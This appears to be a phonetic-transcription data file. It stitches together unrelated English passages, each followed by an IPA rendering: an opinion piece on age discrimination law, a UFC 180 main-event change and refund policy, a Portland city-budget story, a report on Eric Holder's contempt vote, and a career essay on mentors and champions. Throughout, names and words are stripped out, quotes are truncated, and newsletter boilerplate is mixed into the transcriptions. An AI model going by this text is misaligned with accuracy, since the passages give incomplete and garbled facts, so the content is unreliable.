many people also seem to agree with the appeals court in the light bulb case: that unlike racism, which is inherently wrong, there is something natural about the old making way for the young. never mind that with the social security retirement age rising, and pensions disappearing, many older americans have no choice but to work.
as flawed as the age discrimination in employment act is, older people have fared even worse in constitutional law. the supreme court in 1976 rejected an equal protection challenge to mandatory retirement age of 50 for state police officers.
the sole dissenter was justice thurgood marshall, who had been a legendary litigator for the legal defense and educational fund. older people, justice marshall said, are not in the same category as blacks when it comes to discrimination. they are not “isolated in society,” he noted, and there are even laws according them special benefits.
nevertheless, he said, older people are “undoubtedly discriminated against,” and when a law “denies them an important benefit” employment there must be a better reason for it than massachusetts was able to offer.
justice marshall was right.
to be rejected on account of old age may or may not feel the same as being rejected on the basis of race or sex. but it is clearly unjust and dehumanizing, and the law should take it more seriously than it does. | ˈprɛzɪdənt ˈlɪndən ˈleɪbər ˈsɛkrəˌtɛri, ˈwɪlərd wərts, ˌriˈpɔrtəd ðət ðɛr wɑz səbˈstænʃəl dɪˌskrɪməˈneɪʃən əˈgɛnst ˈoʊldər ˈwərkərz ənd ðət ðə ˈneɪʃən wɑz ˈnidləsli dɪˈnaɪɪŋ ˈoʊldər ˈpipəl fər ðət ˈjusfəl ækˈtɪvɪti wɪʧ ˈkɑnstəˌtuts məʧ əv meaning.”*.” ˈboʊlstərd baɪ rɪˈpɔrt, ɪn 1967 ˈkɑŋgrəs pæst ðə eɪʤ dɪˌskrɪməˈneɪʃən ɪn ɪmˈplɔɪmənt ækt. ɪt juzd ˈpɛrəˌlɛl ˈlæŋgwɪʤ tɪ ðə 1964 ækt, wɪʧ ʃʊd hæv ˌgɛrənˈtid ˈoʊldər əˈmɛrɪkənz ˈkɑmprəbəl raɪts tɪ ˈəðər grups. ɪt həz nɑt wərkt aʊt ðət weɪ. ðə kɔrts hæv rɪˈpitɪdli θroʊn əp ˈbɛriərz tɪ eɪʤ dɪˌskrɪməˈneɪʃən suts, lɔŋ ˌbiˈfɔr ðə səˈprim ʤun dɪˈsɪʒən. ɪn 1993 ɪn wən əv ɪts moʊst ˈdæmɪʤɪŋ ˈrulɪŋz, ðə kɔrt ˌdɪˈsaɪdɪd ðət ɪf ɪmˈplɔɪərz faɪər ˈwərkərz huz ˈpɛnʃən kɔsts ər ˈsæləriz ər haɪ, ðeɪ ər nɑt dɪˈskrɪməˌneɪtɪŋ ˈivɪn ɪf ðə ˌoʊvərˈwɛlmɪŋ ˈnəmbər əv ˈpipəl faɪərd ər ˈoʊldər ˈwərkərz. ˈnuzˌlɛtər saɪn əp kənˈtɪnju ˈrɛdɪŋ ðə meɪn ˈstɔri pliz ˈvɛrəˌfaɪ jʊr nɑt ə ˈroʊˌbət baɪ ˈklɪkɪŋ ðə bɑks. ˌɪnˈvæləd iˈmeɪl ˈæˌdrɛs. pliz re-enter*. ju məst səˈlɛkt ə ˈnuzˌlɛtər tɪ səbˈskraɪb tɪ. saɪn əp ju wɪl rɪˈsiv iˈmeɪlz kənˈteɪnɪŋ nuz ˈkɑntɛnt ˈəpˌdeɪts ənd pərˈmoʊʃənz frəm ðə nu jɔrk taɪmz. ju meɪ æt ˈɛni taɪm. ju əˈgri tɪ rɪˈsiv ɔˈkeɪʒənəl ˈəpˌdeɪts ənd ˈspɛʃəl ˈɔfərz fər ðə nu jɔrk ˈtaɪmzɪz ˈprɑdəkts ənd ˈsərvɪsɪz. θæŋk ju fər səbˈskraɪbɪŋ. ən ˈɛrər həz əˈkərd. pliz traɪ əˈgɛn ˈleɪtər. vju ɔl nu jɔrk taɪmz ˈnuzˌlɛtərz. ðɛr ər ˈsɛvərəl ˈpɑsəbəl ˈrizənz ðət eɪʤ dɪˌskrɪməˈneɪʃən ɪz nɑt ˈteɪkən ɛz ˈsɪriəsli ɛz ˈəðər ˈbaɪəsɪz. ˈoʊldər ˈwərkərz ər ˈʤɛnərəli nɑt ˈvɪktɪmz əv ˌænəˈmɑsəti, bət ˈrəðər əv ˌɔnˈfɛr ˈstɛrioʊˌtaɪps ðət ðeɪ wərk mɔr sˈloʊli ər du nɑt əˈdæpt wɛl tɪ ʧeɪnʤ. ˈmɛni ˈpipəl ˈɔlsoʊ sim tɪ əˈgri wɪθ ðə əˈpilz kɔrt ɪn ðə laɪt bəlb keɪs: ðət ənˈlaɪk ˈreɪˌsɪzəm, wɪʧ ɪz ˌɪnˈhɛrəntli rɔŋ, ðɛr ɪz ˈsəmθɪŋ ˈnæʧərəl əˈbaʊt ðə oʊld ˈmeɪkɪŋ weɪ fər ðə jəŋ. ˈnɛvər maɪnd ðət wɪθ ðə ˈsoʊʃəl sɪˈkjʊrəti rɪˈtaɪərmənt eɪʤ ˈraɪzɪŋ, ənd ˈpɛnʃənz ˌdɪsəˈpɪrɪŋ, ˈmɛni ˈoʊldər əˈmɛrɪkənz hæv noʊ ʧɔɪs bət tɪ wərk. ɛz flɔd ɛz ðə eɪʤ dɪˌskrɪməˈneɪʃən ɪn ɪmˈplɔɪmənt ækt ɪz, ˈoʊldər ˈpipəl hæv fɛrd ˈivɪn wərs ɪn ˌkɑnstəˈtuʃənəl lɔ. ðə səˈprim kɔrt ɪn 1976 rɪˈʤɛktɪd ən ˈikwəl prəˈtɛkʃən ˈʧælənʤ tɪ ˈmændəˌtɔri rɪˈtaɪərmənt eɪʤ əv 50 fər steɪt pəˈlis ˈɔfɪsərz. ðə soʊl dɪˈsɛntər wɑz ˈʤəstɪs ˈθərgʊd ˈmɑrʃəl, hu hæd bɪn ə ˈlɛʤənˌdɛri ˈlɪtəˌgeɪtər fər ðə ˈligəl dɪˈfɛns ənd ˌɛʤəˈkeɪʃənəl fənd. ˈoʊldər ˈpipəl, ˈʤəstɪs ˈmɑrʃəl sɛd, ər nɑt ɪn ðə seɪm ˈkætəˌgɔri ɛz blæks wɪn ɪt kəmz tɪ dɪˌskrɪməˈneɪʃən. ðeɪ ər nɑt ɪn society,”*,” hi ˈnoʊtɪd, ənd ðɛr ər ˈivɪn lɔz əˈkɔrdɪŋ ðɛm ˈspɛʃəl ˈbɛnəfɪts. ˌnɛvərðəˈlɛs, hi sɛd, ˈoʊldər ˈpipəl ər dɪˈskrɪməˌneɪtɪd against,”*,” ənd wɪn ə lɔ ðɛm ən ˌɪmˈpɔrtənt benefit”*” ɪmˈplɔɪmənt ðɛr məst bi ə ˈbɛtər ˈrizən fər ɪt ðən ˌmæsəˈʧusəts wɑz ˈeɪbəl tɪ ˈɔfər. ˈʤəstɪs ˈmɑrʃəl wɑz raɪt. tɪ bi rɪˈʤɛktɪd ɔn əˈkaʊnt əv oʊld eɪʤ meɪ ər meɪ nɑt fil ðə seɪm ɛz biɪŋ rɪˈʤɛktɪd ɔn ðə ˈbeɪsɪs əv reɪs ər sɛks. bət ɪt ɪz ˈklɪrli ənˈʤəst ənd diˈhjuməˌnaɪzɪŋ, ənd ðə lɔ ʃʊd teɪk ɪt mɔr ˈsɪriəsli ðən ɪt dɪz. |
mexico city, mexico - the® announced today that heavyweight champion cain velasquez suffered a right knee injury during training and was forced to withdraw from his championship fight against contender in mexico city on november 15.
as a result, heavyweight mark hunt (10-8-1 in professional mma, fighting out of auckland, new zealand), who is coming off a knockout against the roy nelson in tokyo in september (https://www.youtube.com/watch?v=pgunuled50a), will face (18-5-1, fighting out of los angeles via porto alegre, brazil) in the main event for the interim heavyweight title.
“i’m so unbelievably disappointed that this happened,” velasquez said. “to say i was looking forward to fighting in mexico for the first time is an understatement. i wanted to fight on that card so bad. looks like it meant to be and not going to happen. going to get my [right] knee fixed and get back to training as soon as i can. sorry to the fans in mexico who were expecting this fight, and i hope to be able to come down and still be a part of this historic event.”
for, it was never about cain, it was always about the title.
“i’m ready for whatever comes. i have been training in mexico for nearly two months and accept the challenge that is presented to me. i'll continue to prepare and will arrive ready to fight on behalf of all my latin american fans," said.
mark hunt, never one to shy away from a big opportunity, wasted no time accepting a dream opportunity to fight for gold.
“i feel blessed to have this opportunity to fight for another world title. this is something that happen often to people. first and now how can i say no, even though on short notice? dropping everything and flying to mexico tomorrow so i can best prepare myself for this fight. i have to get into shape and to that environment, which is really important.
“there’s nothing to lose when competing against the best at the top level,” hunt added.
ufc 180: vs. hunt scheduled for november 15 at the arena mexico city, in only eight hours, and will welcome more than fans. along with the explosive main event, fans will also be treated to six other bouts featuring latin american contenders.
for more information visit www.ufcnetwork.com. all bouts are live and subject to change.
ufc ticket refund policy
due to causes beyond our company's control, there has been a change in the main event of 180 and cain velasquez will no longer be participating. for customers who wish to request a refund the times to do so will be from october to november 2014, from a.m. to p.m. ct.
for purchases made with a credit card debit card, please go to the box office of arena ciudad de mexico with the following documents:
* card with which the purchase was made. original and copy
* official identification. original and copy
* tickets.
purchases in cash, oxxo, elektra, palacio de card through reimbursements will be made at the arena ciudad de mexico box office only from october 28 to november 7, 2014, please submit:
* tickets.
* official identification. original and copy
foreign clients
for customers who are foreign refund dynamic is as follows, you must send your scanned tickets to the following e-mail address: with the title refund", submitting the following:
* tickets
* official identification. copy
* card with the purchase i make (if applicable, copy)
once the documents are sent, the actual tickets must be mailed to our offices in monterrey, which will provide a reply to the e-mail in which we receive the documents. the dates for this are from october to november, 2014.
if you purchased with cash you must also attach the card to which you want us to make the deposit, if the purchase was made through card the refund should appear on your balance from 25 to 30 working days from when the complete paperwork is received. service charge is not refundable.
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a small group of portland residents is offering to raise money to fund the special assistant to the mayor after it was eliminated from the budget by the city council. but the city manager says that the effort would likely be rebuffed, since the council has already deemed the position to be unnecessary.
peaks island resident sellers asked the city in a may 18 email how residents could earmark a donation to pay for jason salary, which would have been roughly $69,000 next year.
jason shedlock, assistant to the mayor, speaks to the council before its vote terminating his position this month. he said that listening to people talk about him was like "watching your own funeral." staff photo by derek davis related headlines portland mayor says he may veto budget over vote to cut his assistant
sellers, who was impressed that mayor ethan and shedlock recently attended a meeting on peaks island to hear concerns about the loss of mainland parking, said in an interview that she was moved to act after watching the emotional debate leading up to the city may 15 vote.
“i was pretty shocked at the viciousness of the personal attacks on the mayor after he explained very carefully why the position was so important to him,” she said. “i had voted for the position and i want it to be successful. i consider one year a short time for this to be evaluated.”
sellers said she and a few other neighborhood leaders, who she declined to identify, were interested in raising money, but wanted to first check with the city about the legality before launching the effort.
residents are allowed make donations to the city. according to the city rules, donations in excess of $5,000 must be accepted and appropriated by the council, which voted to eliminate the position, partly because it was unpopular with their constituents.
“the decision to eliminate the funding for the position was not because the city could not afford it, but because they felt that the position was redundant and no longer necessary in its current capacity,” city manager jon jennings said in an email to sellers. “given their decision above, it does not seem likely to me that they would accept a donation for this purpose, and i take my direction from them.”
after receiving the response, sellers said wednesday she would be meeting with family, friends and some neighborhood organizations next week to figure out their next steps.
“i think in some format we will be moving forward. in some way we will be trying to assist in the healing of our dysfunctional government,” sellers said. “i know if raising money and forcing the city council to look at this again will be helpful and i want to be helpful.”
the elimination of the assistant marked what may be a new low in the relationship between the council and, who said the cut “undermines democracy” by hindering his ability to respond to constituents and draft new city policies, among other tasks.
city councilor spencer thibodeau said the position had prevented from collaborating with councilors, whose support is needed to enact his initiatives. but said eliminating the position would only “make it worse.”
the idea of eliminating the position emerged late in the budget process. considered vetoing the entire $240 million city budget over the position but announced monday that he would not do so, because it would foster “political maneuvering, grandstanding and infighting and will only serve to further divide our city.”
instead, called on the council to form a task force to review the city charter and offer recommendations about ways to make the office more effective. that idea was immediately shot down by some councilors, who noted that the city has had two legal reviews of the charter, including one that cost nearly $22,000, explaining the role.
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us attorney general eric holder has been held in contempt of congress for refusing to hand over a set of files on a failed investigation.
in a vote, 17 democrats joined with the house of representatives' republican majority.
mr holder is the first sitting attorney general and us presidential cabinet member to be held in contempt.
the white house has refused to hand over files outlining how problems with fast and furious emerged.
the operation saw us agents lose track of hundreds of illegal guns sold in arizona and allowed into mexico to target dealers.
two of the weapons were found in december 2010 at the scene of a us border agent's murder. fast and furious ended in early 2011.
'political game'
mr holder told reporters that the vote was "misguided" and said lawmakers had been circulating "truly absurd" conspiracy theories.
"it will not distract me from the important tasks that are our responsibility," mr holder said.
image caption dozens of house democrats, including leader nancy pelosi, walked out
the house also voted to ask the courts to force mr holder to turn over the documents.
many democratic lawmakers, including the congressional black caucus and democratic leader nancy pelosi, walked out of the chamber in protest on thursday.
"we don't want to play a part in this political game," democratic representative gregory meeks said.
the roots of the current congressional investigation began on 4 february 2011 when the justice department sent lawmakers a letter denying they had sanctioned or otherwise knew about guns illegally ending up mexico.
the department withdrew the letter 10 months later, acknowledging the operation had allowed guns across the border.
led by republican darrell issa, the house oversight committee subpoenaed documents for the period.
the department of justice says it has denied access to the files because they contain information that could affect ongoing criminal investigations.
demand for answers
mr issa did not accept an offer of files and a briefing on the operation, saying the department needed to hand over all the documents requested.
image caption eric holder spoke to a civic group in florida before the contempt vote
the justice department sent to the house oversight committee more than documents relating to fast and furious, and to a similar operation that took place during the george w bush administration.
last week, the white house raised the stakes by announcing it would exert executive privilege to protect the documents in question from subpoena.
the national rifle association has told house members that it will include the contempt vote in ratings the lobby group uses to show how lawmakers align with its interests.
dan pfeiffer, white house communications director, called the vote a "transparently political stunt" that happened despite justice department efforts to accommodate congress.
republican leaders defended the vote. house speaker john boehner said during the house debate that "no justice department is above the law".
"a man died serving his country and we have a right to know what the federal government's hand was in that," said republican lawmaker rich nugent. | ˈmidiə ˈpleɪˌbæk ɪz ənsəˈpɔrtɪd ɔn jʊr dɪˈvaɪs ˈmidiə ˈkæpʃən "ən ənˈnɛsəˌsɛri kɔrt ˈkɑnflɪkt wɪl ɪnˈsu" ˈjuˈɛs əˈtərni ˈʤɛnərəl ˈɛrɪk ˈhoʊldər həz bɪn hɛld ɪn kənˈtɛmpt əv ˈkɑŋgrəs fər rɪfˈjuzɪŋ tɪ hænd ˈoʊvər ə sɛt əv faɪlz ɔn ə feɪld ˌɪnˌvɛstəˈgeɪʃən. ɪn ə voʊt, 17 ˈdɛməˌkræts ʤɔɪnd wɪθ ðə haʊs əv ˌrɛprɪˈzɛnətɪvz' rɪˈpəblɪkən məˈʤɔrəti. ˈmɪstər ˈhoʊldər ɪz ðə fərst ˈsɪtɪŋ əˈtərni ˈʤɛnərəl ənd ˈjuˈɛs ˌprɛzɪˈdɛnʃəl ˈkæbənət ˈmɛmbər tɪ bi hɛld ɪn kənˈtɛmpt. ðə waɪt haʊs həz rɪfˈjuzd tɪ hænd ˈoʊvər faɪlz ˈaʊˌtlaɪnɪŋ haʊ ˈprɑbləmz wɪθ fæst ənd fˈjʊriəs ˈimərʤd. ðə ˌɑpərˈeɪʃən sɔ ˈjuˈɛs ˈeɪʤənts luz træk əv ˈhənərdz əv ˌɪˈligəl gənz soʊld ɪn ˌɛrɪˈzoʊnə ənd əˈlaʊd ˈɪntu ˈmɛksəˌkoʊ tɪ ˈtərgət ˈdilərz. tu əv ðə ˈwɛpənz wər faʊnd ɪn dɪˈsɛmbər 2010 æt ðə sin əv ə ˈjuˈɛs ˈbɔrdər ˈeɪʤənts ˈmərdər. fæst ənd fˈjʊriəs ˈɛndɪd ɪn ˈərli 2011 'pəˈlɪtɪkəl geɪm' ˈmɪstər ˈhoʊldər toʊld rɪˈpɔrtərz ðət ðə voʊt wɑz "mɪsˈgaɪdɪd" ənd sɛd ˈlɔˌmeɪkərz hæd bɪn ˈsərkjəˌleɪtɪŋ "ˈtruli əbˈsərd" kənˈspɪrəsi ˈθɪriz. "ɪt wɪl nɑt dɪˈstrækt mi frəm ðə ˌɪmˈpɔrtənt tæsks ðət ər ɑr riˌspɑnsəˈbɪləti," ˈmɪstər ˈhoʊldər sɛd. ˈɪmɪʤ ˈkæpʃən ˈdəzənz əv haʊs ˈdɛməˌkræts, ˌɪnˈkludɪŋ ˈlidər ˈnænsi pɛˈloʊsi, wɔkt aʊt ðə haʊs ˈɔlsoʊ ˈvoʊtɪd tɪ æsk ðə kɔrts tɪ fɔrs ˈmɪstər ˈhoʊldər tɪ tərn ˈoʊvər ðə ˈdɑkjəmənts. ˈmɛni ˌdɛməˈkrætɪk ˈlɔˌmeɪkərz, ˌɪnˈkludɪŋ ðə kənˈgrɛʃənəl blæk ˈkɔkəs ənd ˌdɛməˈkrætɪk ˈlidər ˈnænsi pɛˈloʊsi, wɔkt aʊt əv ðə ˈʧeɪmbər ɪn ˈproʊˌtɛst ɔn ˈθərzˌdeɪ. "wi doʊnt wɔnt tɪ pleɪ ə pɑrt ɪn ðɪs pəˈlɪtɪkəl geɪm," ˌdɛməˈkrætɪk ˌrɛprɪˈzɛnətɪv ˈgrɛgəri miks sɛd. ðə ruts əv ðə ˈkɑrənt kənˈgrɛʃənəl ˌɪnˌvɛstəˈgeɪʃən bɪˈgæn ɔn 4 ˈfɛbruˌɛri 2011 wɪn ðə ˈʤəstɪs dɪˈpɑrtmənt sɛnt ˈlɔˌmeɪkərz ə ˈlɛtər dɪˈnaɪɪŋ ðeɪ hæd ˈsæŋkʃənd ər ˈəðərˌwaɪz nu əˈbaʊt gənz ˌɪˈligəli ˈɛndɪŋ əp ˈmɛksəˌkoʊ. ðə dɪˈpɑrtmənt wɪθˈdru ðə ˈlɛtər 10 mənθs ˈleɪtər, ækˈnɑlɪʤɪŋ ðə ˌɑpərˈeɪʃən hæd əˈlaʊd gənz əˈkrɔs ðə ˈbɔrdər. lɛd baɪ rɪˈpəblɪkən ˈdɛrəl ˈɪsə, ðə haʊs ˈoʊvərˌsaɪt kəˈmɪti səˈpinəd ˈdɑkjəmənts fər ðə ˈpɪriəd. ðə dɪˈpɑrtmənt əv ˈʤəstɪs sɪz ɪt həz dɪˈnaɪd ˈækˌsɛs tɪ ðə faɪlz bɪˈkəz ðeɪ kənˈteɪn ˌɪnˌfɔrˈmeɪʃən ðət kʊd əˈfɛkt ˈɔnˌgoʊɪŋ ˈkrɪmənəl ˌɪnˌvɛstəˈgeɪʃənz. dɪˈmænd fər ˈænsərz ˈmɪstər ˈɪsə dɪd nɑt əkˈsɛpt ən ˈɔfər əv faɪlz ənd ə ˈbrifɪŋ ɔn ðə ˌɑpərˈeɪʃən, seɪɪŋ ðə dɪˈpɑrtmənt ˈnidɪd tɪ hænd ˈoʊvər ɔl ðə ˈdɑkjəmənts rɪkˈwɛstɪd. ˈɪmɪʤ ˈkæpʃən ˈɛrɪk ˈhoʊldər spoʊk tɪ ə ˈsɪvɪk grup ɪn ˈflɔrɪdə ˌbiˈfɔr ðə kənˈtɛmpt voʊt ðə ˈʤəstɪs dɪˈpɑrtmənt sɛnt tɪ ðə haʊs ˈoʊvərˌsaɪt kəˈmɪti mɔr ðən ˈdɑkjəmənts rɪˈleɪtɪŋ tɪ fæst ənd fˈjʊriəs, ənd tɪ ə ˈsɪmələr ˌɑpərˈeɪʃən ðət tʊk pleɪs ˈdʊrɪŋ ðə ʤɔrʤ ˈdəbəlju bʊʃ ædˌmɪnɪˈstreɪʃən. læst wik, ðə waɪt haʊs reɪzd ðə steɪks baɪ əˈnaʊnsɪŋ ɪt wʊd ɪgˈzərt ɪgˈzɛkjətɪv ˈprɪvɪlɪʤ tɪ prəˈtɛkt ðə ˈdɑkjəmənts ɪn kˈwɛʃən frəm səˈpinə. ðə ˈnæʃənəl ˈraɪfəl əˌsoʊʃiˈeɪʃən həz toʊld haʊs ˈmɛmbərz ðət ɪt wɪl ˌɪnˈklud ðə kənˈtɛmpt voʊt ɪn ˈreɪtɪŋz ðə ˈlɑbi grup ˈjuzɪz tɪ ʃoʊ haʊ ˈlɔˌmeɪkərz əˈlaɪn wɪθ ɪts ˈɪntərɪsts. dæn ˈfaɪfər, waɪt haʊs kəmˌjunəˈkeɪʃənz dɪˈrɛktər, kɔld ðə voʊt ə "trænˈspɛrəntli pəˈlɪtɪkəl stənt" ðət ˈhæpənd dɪˈspaɪt ˈʤəstɪs dɪˈpɑrtmənt ˈɛfərts tɪ əˈkɑməˌdeɪt ˈkɑŋgrəs. rɪˈpəblɪkən ˈlidərz dɪˈfɛndɪd ðə voʊt. haʊs ˈspikər ʤɑn ˈboʊnər sɛd ˈdʊrɪŋ ðə haʊs dəˈbeɪt ðət "noʊ ˈʤəstɪs dɪˈpɑrtmənt ɪz əˈbəv ðə lɔ". "ə mæn daɪd ˈsərvɪŋ hɪz ˈkəntri ənd wi hæv ə raɪt tɪ noʊ wət ðə ˈfɛdərəl ˈgəvərnmənts hænd wɑz ɪn ðət," sɛd rɪˈpəblɪkən ˈlɔˌmeɪkər rɪʧ ˈnuʤənt. |
november 16, 2015 5 min read
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the idea of mentoring in the workplace is a common one, but the idea of a champion is rarely ever mentioned. in the past several months, i have been invited to speak around the topic of leadership in startups and technology, and when i mention that what we need are more champions and less mentors, people get excited. the energy level in the room suddenly rises. most people say to me, “i’ve never heard that before. i love that idea -- champion!”
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mentors are a dime a dozen.
mentors are typically loose connections, and there are plenty to go around. do a quick, very unscientific poll. based on my network on, i have mentors in my network. i did the same search for champion, and i had champions.
mentors are easier to come by these days. some organizations have formal processes for matching mentors. only engaged in this type of formal matching once, and i was assigned a harvard professor who was an expert in nuclear terrorism. just say that we did not have much in common, but i was very grateful for the time i spent with someone so brilliant.
it is best that you try to seek mentors whose expertise you can leverage. be shy about reaching out to these people directly without a formal process in place. one way to start is to ask them a question about their own career progression. and do not take it personally if they do not respond. people are busy.
mentors are usually passive.
don’t expect your mentor to become your champion. champions are supposed to be rare. they are rare because in my experience, most people have never heard of a champion. this post aims to change this by making people aware of the concept of a champion.
think of a champion as a mentor but with a little more skin in the game. they are actively seeing that you get the good projects at work, that you receive the proper recognition for your job, and they provide you with timely feedback so that you are constantly improving. a working partnership where you are essentially groomed for a particular position or role. a champion is your voice when you are not around.
mentors may give you time, advice and sometimes they are willing to make a few introductions. get me wrong, this is great, but what distinguishes a mentor and champion is that a champion is willing to take more of a risk on you.
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champions are earned.
you cannot just waltz into a new job or career and ask for someone to be your champion. when i started my career on wall street, i did not know what i was doing. i had a journalism degree, and my first day on the job i had to build a financial model from scratch. my senior associate would have rather worked with anyone else but me.
the reality is that there is no time to train on the job on wall street. you have a deliverable in 24 hours, and there is no time to teach someone how to do things. like a startup -- sink or swim. i was left with only one choice: forgo sleeping that night and make it happen. i did not allow mistakes and setbacks (not saving my model and having it crash, losing hours of work) mess with my confidence. i finally earned my senior trust after one year of working 80 hour weeks side-by-side. i eventually became someone he could take into battle with him and deliver. it has been 17 years, and he is one of my greatest champions and was an investor in my first startup.
be wary of the professional mentor.
some people mentor to pad their resume. when i see people put it on their bio, i cringe a little. my personal philosophy may not be popular, but i feel a mentor should help others and not try to gain anything other than serving. i rather have someone else call me their mentor, than call myself a mentor. for me not a job -- a role i play in lives. the same way we add mother, father, son, daughter, public servant to, i add the title mentor to.
so how do you get started finding a champion? you. a champion finds you. they see the fire in your belly and the determination in your eyes. seen you perform, fail and keep trying. they know they can take a personal risk, because they know you will not let them down. in every single case where i have had a champion, that person believed in me long before i ever believed in myself.
related: coaching makes all the difference | noʊˈvɛmbər 16 2015 5 mɪn rɛd əˈpɪnjənz ɪkˈsprɛst baɪ ˌɑntrəprəˈnʊr kənˈtrɪbjətərz ər ðɛr oʊn. ðə aɪˈdiə əv ˈmɛntərɪŋ ɪn ðə ˈwərkˌpleɪs ɪz ə ˈkɑmən wən, bət ðə aɪˈdiə əv ə ˈʧæmpiən ɪz ˈrɛrli ˈɛvər ˈmɛnʃənd. ɪn ðə pæst ˈsɛvərəl mənθs, aɪ hæv bɪn ˌɪnˈvaɪtɪd tɪ spik əraʊnd ðə ˈtɑpɪk əv ˈlidərˌʃɪp ɪn ˈstɑrˌtəps ənd tɛkˈnɑləʤi, ənd wɪn aɪ ˈmɛnʃən ðət wət wi nid ər mɔr ˈʧæmpiənz ənd lɛs ˈmɛnˌtɔrz, ˈpipəl gɪt ɪkˈsaɪtɪd. ðə ˈɛnərʤi ˈlɛvəl ɪn ðə rum ˈsədənli ˈraɪzɪz. moʊst ˈpipəl seɪ tɪ mi, ˈnɛvər hərd ðət ˌbiˈfɔr. aɪ ləv ðət aɪˈdiə champion!”*!” rɪˈleɪtɪd: 6 smɑrt tɛkˈniks tɪ kəˈnɛkt wɪθ ˌɪnfluˈɛnʃəl ˈpipəl ˈmɛnˌtɔrz ər ə daɪm ə ˈdəzən. ˈmɛnˌtɔrz ər ˈtɪpɪkəli lus kəˈnɛkʃənz, ənd ðɛr ər ˈplɛnti tɪ goʊ əraʊnd. du ə kwɪk, ˈvɛri ənˌsaɪənˈtɪfɪk poʊl. beɪst ɔn maɪ ˈnɛtˌwərk ɔn, aɪ hæv ˈmɛnˌtɔrz ɪn maɪ ˈnɛtˌwərk. aɪ dɪd ðə seɪm sərʧ fər ˈʧæmpiən, ənd aɪ hæd ˈʧæmpiənz. ˈmɛnˌtɔrz ər ˈiziər tɪ kəm baɪ ðiz deɪz. səm ˌɔrgənəˈzeɪʃənz hæv ˈfɔrməl ˈprɑsɛsəz fər ˈmæʧɪŋ ˈmɛnˌtɔrz. ˈoʊnli ɪnˈgeɪʤd ɪn ðɪs taɪp əv ˈfɔrməl ˈmæʧɪŋ wəns, ənd aɪ wɑz əˈsaɪnd ə ˈhɑrvərd prəˈfɛsər hu wɑz ən ˈɛkspərt ɪn ˈnukliər ˈtɛrəˌrɪzəm. ʤɪst seɪ ðət wi dɪd nɑt hæv məʧ ɪn ˈkɑmən, bət aɪ wɑz ˈvɛri ˈgreɪtfəl fər ðə taɪm aɪ spɛnt wɪθ ˈsəmˌwən soʊ ˈbrɪljənt. ɪt ɪz bɛst ðət ju traɪ tɪ sik ˈmɛnˌtɔrz huz ˌɛkspərˈtiz ju kən ˈlɛvərɪʤ. bi ʃaɪ əˈbaʊt ˈriʧɪŋ aʊt tɪ ðiz ˈpipəl dɪˈrɛkli wɪˈθaʊt ə ˈfɔrməl ˈprɔˌsɛs ɪn pleɪs. wən weɪ tɪ stɑrt ɪz tɪ æsk ðɛm ə kˈwɛʃən əˈbaʊt ðɛr oʊn kərɪr prəˈgrɛʃən. ənd du nɑt teɪk ɪt ˈpərsənəli ɪf ðeɪ du nɑt rɪˈspɑnd. ˈpipəl ər ˈbɪzi. ˈmɛnˌtɔrz ər ˈjuʒəwəli ˈpæsɪv. ɪkˈspɛkt jʊr ˈmɛnˌtɔr tɪ bɪˈkəm jʊr ˈʧæmpiən. ˈʧæmpiənz ər səˈpoʊzd tɪ bi rɛr. ðeɪ ər rɛr bɪˈkəz ɪn maɪ ɪkˈspɪriəns, moʊst ˈpipəl hæv ˈnɛvər hərd əv ə ˈʧæmpiən. ðɪs poʊst eɪmz tɪ ʧeɪnʤ ðɪs baɪ ˈmeɪkɪŋ ˈpipəl əˈwɛr əv ðə ˈkɑnsɛpt əv ə ˈʧæmpiən. θɪŋk əv ə ˈʧæmpiən ɛz ə ˈmɛnˌtɔr bət wɪθ ə ˈlɪtəl mɔr skɪn ɪn ðə geɪm. ðeɪ ər ˈæktɪvli siɪŋ ðət ju gɪt ðə gʊd ˈprɑʤɛkts æt wərk, ðət ju rɪˈsiv ðə ˈprɑpər ˌrɛkɪgˈnɪʃən fər jʊr ʤɑb, ənd ðeɪ prəˈvaɪd ju wɪθ ˈtaɪmli ˈfidˌbæk soʊ ðət ju ər ˈkɑnstəntli ˌɪmˈpruvɪŋ. ə ˈwərkɪŋ ˈpɑrtnərˌʃɪp wɛr ju ər ɛˈsɛnʃəli grumd fər ə ˌpɑˈtɪkjələr pəˈzɪʃən ər roʊl. ə ˈʧæmpiən ɪz jʊr vɔɪs wɪn ju ər nɑt əraʊnd. ˈmɛnˌtɔrz meɪ gɪv ju taɪm, ədˈvaɪs ənd ˈsəmˌtaɪmz ðeɪ ər ˈwɪlɪŋ tɪ meɪk ə fju ˌɪntrəˈdəkʃənz. gɪt mi rɔŋ, ðɪs ɪz greɪt, bət wət dɪˈstɪŋgwɪʃɪz ə ˈmɛnˌtɔr ənd ˈʧæmpiən ɪz ðət ə ˈʧæmpiən ɪz ˈwɪlɪŋ tɪ teɪk mɔr əv ə rɪsk ɔn ju. rɪˈleɪtɪd: səkˈsɛs ɪz ˈlaɪkliər wɪn ju meɪk ˈpipəl ˈhæpi ðeɪ hɛlpt ju ˈʧæmpiənz ər ərnd. ju ˈkænɑt ʤɪst wɔlts ˈɪntu ə nu ʤɑb ər kərɪr ənd æsk fər ˈsəmˌwən tɪ bi jʊr ˈʧæmpiən. wɪn aɪ ˈstɑrtɪd maɪ kərɪr ɔn wɔl strit, aɪ dɪd nɑt noʊ wət aɪ wɑz duɪŋ. aɪ hæd ə ˈʤərnəˌlɪzəm dɪˈgri, ənd maɪ fərst deɪ ɔn ðə ʤɑb aɪ hæd tɪ bɪld ə ˌfaɪˈnænʃəl ˈmɑdəl frəm skræʧ. maɪ ˈsinjər əˈsoʊʃiˌeɪt wʊd hæv ˈrəðər wərkt wɪθ ˈɛniˌwən ɛls bət mi. ðə ˌriˈæləˌti ɪz ðət ðɛr ɪz noʊ taɪm tɪ treɪn ɔn ðə ʤɑb ɔn wɔl strit. ju hæv ə dɪˈlɪvərəbəl ɪn 24 aʊərz, ənd ðɛr ɪz noʊ taɪm tɪ tiʧ ˈsəmˌwən haʊ tɪ du θɪŋz. laɪk ə ˈstɑrˌtəp sɪŋk ər swɪm. aɪ wɑz lɛft wɪθ ˈoʊnli wən ʧɔɪs: fɔrˈgoʊ sˈlipɪŋ ðət naɪt ənd meɪk ɪt ˈhæpən. aɪ dɪd nɑt əˈlaʊ mɪˈsteɪks ənd ˈsɛtˌbæks (nɑt ˈseɪvɪŋ maɪ ˈmɑdəl ənd ˈhævɪŋ ɪt kræʃ, ˈluzɪŋ aʊərz əv wərk) mɛs wɪθ maɪ ˈkɑnfədɛns. aɪ ˈfaɪnəli ərnd maɪ ˈsinjər trəst ˈæftər wən jɪr əv ˈwərkɪŋ 80 aʊər wiks 